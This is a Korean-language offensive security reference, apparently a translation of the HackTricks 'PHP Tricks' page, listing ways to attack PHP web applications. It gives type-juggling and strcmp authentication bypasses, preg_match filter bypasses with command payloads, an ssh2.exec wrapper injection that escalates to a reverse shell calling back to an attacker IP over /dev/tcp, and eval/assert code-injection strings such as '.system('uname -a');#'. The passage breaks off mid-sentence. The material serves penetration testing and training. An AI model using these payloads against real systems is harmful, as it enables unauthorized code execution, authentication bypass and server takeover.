PHP ํŠธ๋ฆญ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Cookies ๊ณตํ†ต ์œ„์น˜:

์ด๋Š” phpMyAdmin cookies์—๋„ ํ•ด๋‹น๋ฉ๋‹ˆ๋‹ค.

Cookies:

PHPSESSID
phpMyAdmin

์œ„์น˜:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

PHP ๋น„๊ต ์šฐํšŒ

๋А์Šจํ•œ ๋น„๊ต/Type Juggling ( == )

PHP์—์„œ ==๊ฐ€ ์‚ฌ์šฉ๋˜๋ฉด ๋น„๊ต๊ฐ€ ์˜ˆ์ƒ๊ณผ ๋‹ค๋ฅด๊ฒŒ ๋™์ž‘ํ•˜๋Š” ์˜ˆ์™ธ์ ์ธ ๊ฒฝ์šฐ๊ฐ€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” โ€œ==โ€œ๊ฐ€ ๋™์ผํ•œ ํƒ€์ž…์œผ๋กœ ๋ณ€ํ™˜๋œ ๊ฐ’๋งŒ ๋น„๊ตํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋ฉฐ, ๋น„๊ต ๋Œ€์ƒ์˜ ํƒ€์ž…๊นŒ์ง€ ๋™์ผํ•œ์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ===๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

PHP ๋น„๊ต ํ‘œ: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True ์ˆซ์ž๋กœ ์‹œ์ž‘ํ•˜์ง€ ์•Š๋Š” ๋ฌธ์ž์—ด์€ ์ˆซ์ž์™€ ๊ฐ™๋‹ค๊ณ  ๊ฐ„์ฃผ๋œ๋‹ค
  • "0xAAAA" == "43690" -> True ์‹ญ์ง„์ˆ˜ ๋˜๋Š” 16์ง„์ˆ˜ ํ˜•์‹์˜ ์ˆซ์ž๋กœ ๊ตฌ์„ฑ๋œ ๋ฌธ์ž์—ด์€ ์ˆซ์ž๊ฐ€ ๊ฐ™๋‹ค๋ฉด ๋‹ค๋ฅธ ์ˆซ์ž/๋ฌธ์ž์—ด๊ณผ ๋น„๊ตํ–ˆ์„ ๋•Œ True๊ฐ€ ๋  ์ˆ˜ ์žˆ๋‹ค (๋ฌธ์ž์—ด์˜ ์ˆซ์ž๋Š” ์ˆซ์ž๋กœ ํ•ด์„๋œ๋‹ค)
  • "0e3264578" == 0 --> True โ€œ0eโ€œ๋กœ ์‹œ์ž‘ํ•˜๊ณ  ๋’ค์— ์–ด๋–ค ๋‚ด์šฉ์ด ์˜ค๋”๋ผ๋„ 0๊ณผ ๊ฐ™๊ฒŒ ์ทจ๊ธ‰๋œ๋‹ค
  • "0X3264578" == 0X --> True โ€œ0โ€œ๋กœ ์‹œ์ž‘ํ•˜๊ณ  ๊ทธ ๋‹ค์Œ์— ์–ด๋–ค ๊ธ€์ž(X๋Š” ์–ด๋–ค ๊ธ€์ž๋“  ๋  ์ˆ˜ ์žˆ์Œ)๊ฐ€ ์˜ค๋ฉฐ ๊ทธ ๋’ค์— ์–ด๋–ค ๋‚ด์šฉ์ด ์˜ค๋”๋ผ๋„ 0๊ณผ ๊ฐ™๊ฒŒ ์ทจ๊ธ‰๋œ๋‹ค
  • "0e12334" == "0" --> True ๋งค์šฐ ํฅ๋ฏธ๋กœ์šด ์ ์€, ์ผ๋ถ€ ๊ฒฝ์šฐ์— โ€œ0โ€œ์˜ ๋ฌธ์ž์—ด ์ž…๋ ฅ๊ณผ ํ•ด์‹œ๋˜์–ด ๋น„๊ต๋˜๋Š” ๋‚ด์šฉ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ•ด์‹œ๊ฐ€ โ€œ0eโ€œ๋กœ ์‹œ์ž‘ํ•˜๊ณ  ๋ฌธ์ž ์—†์ด ์ˆซ์ž๋งŒ ์žˆ๋Š” ๊ฐ’์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋น„๊ต๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ˜•์‹์˜ ์ด๋ฏธ ํ•ด์‹œ๋œ ๋ฌธ์ž์—ด์€ ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://github.com/spaze/hashes
  • "X" == 0 --> True ๋ฌธ์ž์—ด์˜ ์–ด๋–ค ๋ฌธ์ž๋ผ๋„ ์ •์ˆ˜ 0๊ณผ ๊ฐ™๋‹ค

์ž์„ธํ•œ ์ •๋ณด: https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling์€ ๊ธฐ๋ณธ์ ์œผ๋กœ in_array() ํ•จ์ˆ˜์—๋„ ์˜ํ–ฅ์„ ์ค€๋‹ค (์—„๊ฒฉํ•œ ๋น„๊ต๋ฅผ ์œ„ํ•ด์„œ๋Š” ์„ธ ๋ฒˆ์งธ ์ธ์ˆ˜๋ฅผ true๋กœ ์„ค์ •ํ•ด์•ผ ํ•œ๋‹ค):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

์ด ํ•จ์ˆ˜๊ฐ€ any authentication check (like checking the password)์— ์‚ฌ์šฉ๋˜๊ณ  ์‚ฌ์šฉ์ž๊ฐ€ ๋น„๊ต์˜ ํ•œ์ชฝ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ๋Š” password ๊ฐ’์œผ๋กœ ๋ฌธ์ž์—ด ๋Œ€์‹  ๋นˆ ๋ฐฐ์—ด์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๊ณ  (https://example.com/login.php/?username=admin&password[]=) ์ด ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

strcasecmp()์—์„œ๋„ ๋™์ผํ•œ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค

์—„๊ฒฉํ•œ ํƒ€์ž… ์ €๊ธ€๋ง

===๊ฐ€ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๋”๋ผ๋„ ๋น„๊ต๊ฐ€ ํƒ€์ž… ์ €๊ธ€๋ง์— ์ทจ์•ฝํ•ด์งˆ ์ˆ˜ ์žˆ๋Š” ์˜ค๋ฅ˜๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๋น„๊ต๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์ „์— ๋ฐ์ดํ„ฐ๋ฅผ ๋‹ค๋ฅธ ํƒ€์ž…์˜ ๊ฐ์ฒด๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๊ฒฝ์šฐ:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

**preg_match()**๋Š” validate user input์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋‹ค (์ด๋Š” blacklist์˜ ์–ด๋–ค word/regex๊ฐ€ user input์— presentํ•˜๋Š”์ง€ checksํ•˜๊ณ , ์—†๋‹ค๋ฉด ์ฝ”๋“œ๊ฐ€ ๊ณ„์† ์‹คํ–‰๋  ์ˆ˜ ์žˆ๋‹ค).

New line bypass

๊ทธ๋Ÿฌ๋‚˜ regexp์˜ ์‹œ์ž‘์„ ํ•œ์ •ํ•  ๋•Œ preg_match()๋Š” only checks the first line of the user input. ๋”ฐ๋ผ์„œ ์ž…๋ ฅ์„ several lines๋กœ sendํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ด ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค. ์˜ˆ:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

์ด ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•˜๋ ค๋ฉด ๊ฐ’์„ ๊ฐœํ–‰ ๋ฌธ์ž๋กœ URL ์ธ์ฝ”๋”ฉํ•˜์—ฌ ์ „์†ก (%0A)ํ•˜๊ฑฐ๋‚˜ JSON data๋ฅผ ์ „์†กํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์—ฌ๋Ÿฌ ์ค„๋กœ ๋ณด๋‚ด์„ธ์š”:

{
"cmd": "cat /etc/passwd"
}

Find an example here: https://ramadistra.dev/fbctf-2019-rceservice

Length error bypass

(This bypass was tried apparently on PHP 5.2.5 and I couldnโ€™t make it work on PHP 7.3.15)
๋งŒ์•ฝ preg_match()์— ์œ ํšจํ•œ ๋งค์šฐ ํฐ ์ž…๋ ฅ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค๋ฉด, preg_match()๋Š” ์ด๋ฅผ ์ฒ˜๋ฆฌํ•˜์ง€ ๋ชปํ•˜๊ฒŒ ๋˜๊ณ  ๊ฒ€์‚ฌ๋ฅผ bypassํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, JSON์„ blacklistingํ•˜๊ณ  ์žˆ๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

์ถœ์ฒ˜: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS Bypass

๊ธฐ๋ฒ• ์ถœ์ฒ˜: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

๊ฐ„๋‹จํžˆ ๋งํ•˜๋ฉด, ์ด ๋ฌธ์ œ๋Š” PHP์˜ preg_* ํ•จ์ˆ˜๊ฐ€ PCRE library๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. PCRE์—์„œ๋Š” ํŠน์ • ์ •๊ทœ์‹์ด ๋งŽ์€ ์žฌ๊ท€ ํ˜ธ์ถœ์„ ์‚ฌ์šฉํ•ด ๋งค์นญ๋˜๋ฉฐ, ์ด๋Š” ์Šคํƒ ๊ณต๊ฐ„์„ ๋งŽ์ด ์†Œ๋ชจํ•ฉ๋‹ˆ๋‹ค. ํ—ˆ์šฉ๋˜๋Š” ์žฌ๊ท€ ํšŸ์ˆ˜์— ์ œํ•œ์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, PHP์—์„œ๋Š” ์ด ์ œํ•œ์ด defaults to 100.000์œผ๋กœ ์Šคํƒ์— ๋“ค์–ด๊ฐˆ ์ˆ˜ ์žˆ๋Š” ์–‘๋ณด๋‹ค ํฝ๋‹ˆ๋‹ค.

This Stackoverflow thread๋„ ๊ฒŒ์‹œ๋ฌผ์—์„œ ๋งํฌ๋˜์–ด ์ด ์ด์Šˆ์— ๋Œ€ํ•ด ๋” ๊นŠ๊ฒŒ ๋‹ค๋ฃจ๊ณ  ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ์˜ ๋ชฉํ‘œ๋Š” ์ด์ œ ๋ช…ํ™•ํ•ด์กŒ์Šต๋‹ˆ๋‹ค:
์ •๊ทœ์‹์ด 100_000+ โ€œrecursionsโ€œ๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ฒŒ ๋งŒ๋“ค์–ด SIGSEGV๋ฅผ ์ผ์œผํ‚ค๊ณ , preg_match()๊ฐ€ false๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ฒŒ ํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์šฐ๋ฆฌ์˜ ์ž…๋ ฅ์„ ์•…์„ฑ์œผ๋กœ ํŒ๋‹จํ•˜์ง€ ๋ชปํ•˜๊ฒŒ ๋งŒ๋“  ๋’ค, ํŽ˜์ด๋กœ๋“œ ๋์— {system(<verybadcommand>)} ๊ฐ™์€ ์„œํ”„๋ผ์ด์ฆˆ๋ฅผ ๋„ฃ์–ด SSTI โ€“> RCE โ€“> flag :).

๊ธ€์Ž„์š”, regex ๊ด€์ ์—์„œ๋Š” ์‹ค์ œ๋กœ 100k โ€œrecursionsโ€œ๋ฅผ ํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ โ€œbacktracking stepsโ€œ๋ฅผ ์„ธ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. PHP documentation์— ๋”ฐ๋ฅด๋ฉด pcre.backtrack_limit ๋ณ€์ˆ˜์˜ ๊ธฐ๋ณธ๊ฐ’์€ 1_000_000 (1M)์ž…๋‹ˆ๋‹ค.
๊ทธ ์ˆ˜์— ๋„๋‹ฌํ•˜๋ ค๋ฉด 'X'*500_001์ด ์ด 100๋งŒ backtracking steps(500k forward and 500k backwards)๋ฅผ ๋งŒ๋“ค์–ด๋ƒ…๋‹ˆ๋‹ค:

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Type Juggling์„ ์ด์šฉํ•œ PHP obfuscation

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

PHP๊ฐ€ ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•˜๊ณ  ์žˆ์ง€๋งŒ, die ๋˜๋Š” exit ํ•จ์ˆ˜๊ฐ€ header Location์ด ์„ค์ •๋œ ํ›„์— ํ˜ธ์ถœ๋˜์ง€ ์•Š์œผ๋ฉด, PHP๋Š” ๊ณ„์† ์‹คํ–‰๋˜์–ด ๋ฐ์ดํ„ฐ๋ฅผ ๋ณธ๋ฌธ์— ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Path Traversal and File Inclusion Exploitation

Check:

File Inclusion/Path traversal

์ถ”๊ฐ€ ํŒ

  • register_globals: PHP < 4.1.1.1 ๋˜๋Š” ์ž˜๋ชป ์„ค์ •๋œ ๊ฒฝ์šฐ register_globals๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๊ฑฐ๋‚˜ ๊ทธ ๋™์ž‘์ด ํ‰๋‚ด๋‚˜๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” $_GET ๊ฐ™์€ ์ „์—ญ ๋ณ€์ˆ˜์— ๊ฐ’์ด ์žˆ์„ ๋•Œ(์˜ˆ: $_GET[โ€œparamโ€]=โ€œ1234โ€) $param์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ HTTP ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ „์†กํ•˜์—ฌ ์ฝ”๋“œ ๋‚ด์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๋ณ€์ˆ˜๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • The PHPSESSION cookies of the same domain are stored in the same place, therefore if within a domain different cookies are used in different paths you can make that a path accesses the cookie of the path setting the value of the other path cookie.
    ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ๋‘ ๊ฒฝ๋กœ๊ฐ€ ๋™์ผํ•œ ์ด๋ฆ„์˜ ๋ณ€์ˆ˜๋ฅผ ์ ‘๊ทผํ•  ๊ฒฝ์šฐ, path1์˜ ๋ณ€์ˆ˜ ๊ฐ’์„ path2์— ์ ์šฉ๋˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ๊ฒฐ๊ณผ path2๋Š” path1์˜ ๋ณ€์ˆ˜๋ฅผ ์œ ํšจํ•œ ๊ฒƒ์œผ๋กœ ๋ฐ›์•„๋“ค์ด๊ฒŒ ๋ฉ๋‹ˆ๋‹ค(ํ•ด๋‹น ์ฟ ํ‚ค์— path2์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์ด๋ฆ„์„ ๋ถ€์—ฌํ•จ์œผ๋กœ์จ).
  • ๋จธ์‹ ์˜ usernames๋ฅผ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด ์ฃผ์†Œ /~<USERNAME> ๋ฅผ ํ™•์ธํ•ด php ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.
  • PHP ์„ค์ •์— register_argc_argv = On ์ด๋ฉด ๊ณต๋ฐฑ์œผ๋กœ ๊ตฌ๋ถ„๋œ ์ฟผ๋ฆฌ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ CLI ์ธ์ž์ฒ˜๋Ÿผ array_keys($_SERVER['argv']) ๋ฐฐ์—ด์„ ์ฑ„์šฐ๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ํฅ๋ฏธ๋กœ์šด ์ ์€ ์ด ์„ค์ •์ด ๊บผ์ ธ ์žˆ์œผ๋ฉด ์›น์—์„œ ํ˜ธ์ถœํ•  ๋•Œ args ๋ฐฐ์—ด์˜ ๊ฐ’์ด Null์ด ๋œ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค(๋ฐฐ์—ด์ด ์ฑ„์›Œ์ง€์ง€ ์•Š์Œ). ๋”ฐ๋ผ์„œ ์›น ํŽ˜์ด์ง€๊ฐ€ if (empty($_SERVER['argv'])) { ๊ฐ™์€ ๋น„๊ต๋กœ ์›น์ธ์ง€ CLI์ธ์ง€ ํŒ๋ณ„ํ•˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” GET ์š”์ฒญ์— ?--configPath=/lalala ๊ฐ™์€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ณด๋‚ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด CLI๋กœ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์œผ๋กœ ํŒ๋‹จํ•˜๊ฒŒ ํ•˜๊ณ  ๊ทธ ์ธ์ž๋ฅผ ํŒŒ์‹ฑยท์‚ฌ์šฉํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์›๋ฌธ writeup์„ ์ฐธ์กฐํ•˜์„ธ์š”.
  • LFI and RCE using php wrappers

password_hash/password_verify

์ด ํ•จ์ˆ˜๋“ค์€ ์ผ๋ฐ˜์ ์œผ๋กœ PHP์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ๋ถ€ํ„ฐ ํ•ด์‹œ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ํ•ด์‹œ์™€ ๋น„๊ตํ•˜์—ฌ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์˜ฌ๋ฐ”๋ฅธ์ง€ ๊ฒ€์ฆํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
์ง€์›๋˜๋Š” ์•Œ๊ณ ๋ฆฌ์ฆ˜์€ PASSWORD_DEFAULT์™€ PASSWORD_BCRYPT($2y$๋กœ ์‹œ์ž‘)์ž…๋‹ˆ๋‹ค. PASSWORD_DEFAULT๋Š” ์ข…์ข… PASSWORD_BCRYPT์™€ ๋™์ผํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ํ˜„์žฌ PASSWORD_BCRYPT๋Š” ์ž…๋ ฅ์— ๋Œ€ํ•ด 72bytes์˜ ํฌ๊ธฐ ์ œํ•œ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด ์•Œ๊ณ ๋ฆฌ์ฆ˜์œผ๋กœ 72bytes๋ณด๋‹ค ํฐ ๋ฐ์ดํ„ฐ๋ฅผ ํ•ด์‹œํ•˜๋ฉด ์ฒ˜์Œ 72B๋งŒ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers bypass abusing PHP errors

Causing error after setting headers

์ด this twitter thread์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ์ด, 1000๊ฐœ ์ด์ƒ์˜ GET params ๋˜๋Š” 1000๊ฐœ ์ด์ƒ์˜ POST params ๋˜๋Š” 20๊ฐœ์˜ files๋ฅผ ์ „์†กํ•˜๋ฉด PHOP๋Š” ์‘๋‹ต์— headers๋ฅผ ์„ค์ •ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ์—์„œ CSP headers๊ฐ€ ์„ค์ •๋˜๋Š” ๊ฒƒ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

ํ—ค๋” ์„ค์ • ์ „์— ๋ฐ”๋”” ์ฑ„์šฐ๊ธฐ

๋งŒ์•ฝ PHP ํŽ˜์ด์ง€๊ฐ€ ์—๋Ÿฌ๋ฅผ ์ถœ๋ ฅํ•˜๊ณ  ์‚ฌ์šฉ์ž ์ œ๊ณต ์ž…๋ ฅ์„ ๊ทธ๋Œ€๋กœ echo ํ•˜๋Š” ๊ฒฝ์šฐ, ์‚ฌ์šฉ์ž๋Š” PHP ์„œ๋ฒ„๊ฐ€ ์‘๋‹ต์— ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•˜๋ ค ํ•  ๋•Œ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋„๋ก ์ถฉ๋ถ„ํžˆ ๊ธด ๋‚ด์šฉ์„ ์ถœ๋ ฅํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋‹ค์Œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์„œ๋ฒ„์— ํฐ ์—๋Ÿฌ๋ฅผ ๋ฐœ์ƒ์‹œ์ผฐ๊ณ , ํ™”๋ฉด์—์„œ ๋ณด๋“ฏ์ด PHP๊ฐ€ ํ—ค๋” ์ •๋ณด๋ฅผ ์ˆ˜์ •ํ•˜๋ ค ํ–ˆ์ง€๋งŒ ํ•  ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: CSP ํ—ค๋”๊ฐ€ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ „์†ก๋˜์ง€ ์•Š์Œ):

PHP ํ•จ์ˆ˜์—์„œ์˜ SSRF

ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ํ™•์ธ:

PHP SSRF

ssh2.exec stream wrapper RCE

When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:

$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');

localhost SSH๋ฅผ ํ†ตํ•ด shell ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ์— ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค:

GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
  • ์ž๊ฒฉ ์ฆ๋ช… ๋ถ€๋ถ„์€ ์˜ˆ: cracked bcrypt hashes์—์„œ ์–ป์€ leaked system password๋ฅผ ์žฌ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋์˜ #๋Š” ์„œ๋ฒ„ ์ธก ์ ‘๋ฏธ์‚ฌ (files/<id>.zip)๋ฅผ ์ฃผ์„ ์ฒ˜๋ฆฌํ•˜๋ฏ€๋กœ, ์˜ค์ง ๋‹น์‹ ์˜ ๋ช…๋ น๋งŒ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
  • Blind RCE๋Š” tcpdump -ni tun0 icmp๋กœ ์•„์›ƒ๋ฐ”์šด๋“œ ํŠธ๋ž˜ํ”ฝ์„ ๊ด€์ฐฐํ•˜๊ฑฐ๋‚˜ HTTP canary๋ฅผ ์ œ๊ณตํ•˜์—ฌ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

๊ฒ€์ฆ๋˜๋ฉด ๋ช…๋ น์„ reverse shell payload๋กœ ๊ต์ฒดํ•˜์„ธ์š”:

format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#

๋ชจ๋“  ๊ฒƒ์ด PHP ์›Œ์ปค ๋‚ด๋ถ€์—์„œ ๋ฐœ์ƒํ•˜๋ฏ€๋กœ TCP ์—ฐ๊ฒฐ์€ target์—์„œ ์‹œ์ž‘๋˜์–ด ์ฃผ์ž…๋œ ๊ณ„์ •(yuri, eric ๋“ฑ)์˜ ๊ถŒํ•œ์„ ์ƒ์†๋ฐ›์Šต๋‹ˆ๋‹ค.

Code execution

system(โ€œlsโ€);
ls;
shell_exec(โ€œlsโ€);

Check this for more useful PHP functions

RCE via preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

replace ์ธ์ˆ˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ ค๋ฉด ์ตœ์†Œ ํ•œ ๋ฒˆ์˜ ๋งค์น˜๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
preg_replace์˜ ์ด ์˜ต์…˜์€ PHP 5.5.0๋ถ€ํ„ฐ ๋” ์ด์ƒ ์‚ฌ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

Assert()๋ฅผ ํ†ตํ•œ RCE

php ๋‚ด์˜ ์ด ํ•จ์ˆ˜๋Š” ๋ฌธ์ž์—ด์— ์ž‘์„ฑ๋œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๊ฒฐ๊ณผ๋กœ true ๋˜๋Š” false๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค(๊ทธ๋ฆฌ๊ณ  ์ด์— ๋”ฐ๋ผ ์‹คํ–‰์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค). ๋ณดํ†ต ์‚ฌ์šฉ์ž ๋ณ€์ˆ˜๋Š” ๋ฌธ์ž์—ด ์ค‘๊ฐ„์— ์‚ฝ์ž…๋ฉ๋‹ˆ๋‹ค. ์˜ˆ:
assert("strpos($_GET['page']),'..') === false") โ€“> ์ด ๊ฒฝ์šฐ RCE๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

